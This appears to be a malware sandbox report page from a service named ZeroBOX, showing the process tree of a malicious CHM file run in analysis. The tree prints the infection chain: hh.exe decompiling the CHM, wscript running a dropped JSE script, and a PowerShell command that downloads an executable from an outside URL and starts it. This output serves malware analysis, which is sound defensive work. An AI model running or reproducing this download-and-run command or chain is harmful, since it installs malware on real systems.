| ZeroBOX

Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

| ZeroBOX

cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "kGXwxbeaXlUDMNQP" C:\Users\test22\AppData\Local\Temp\Message.chm
3012
- hh.exe "C:\Windows\hh.exe" C:\Users\test22\AppData\Local\Temp\Message.chm
  932
  - hh.exe "C:\Windows\hh.exe" -decompile C:\Users\Public\Libraries C:\Users\test22\AppData\Local\Temp\Message.chm
    776
  - wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\Public\Libraries\Docs.jse P
    1716
    - cmd.exe "C:\Windows\System32\cmd.exe" /c powershell iwr -outf C:\Users\test22\AppData\Local\Temp\alg.exe https://ppangz.mom/mjifi & start C:\Users\test22\AppData\Local\Temp\alg.exe
      2132
      - powershell.exe powershell iwr -outf C:\Users\test22\AppData\Local\Temp\alg.exe https://ppangz.mom/mjifi
        2488

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf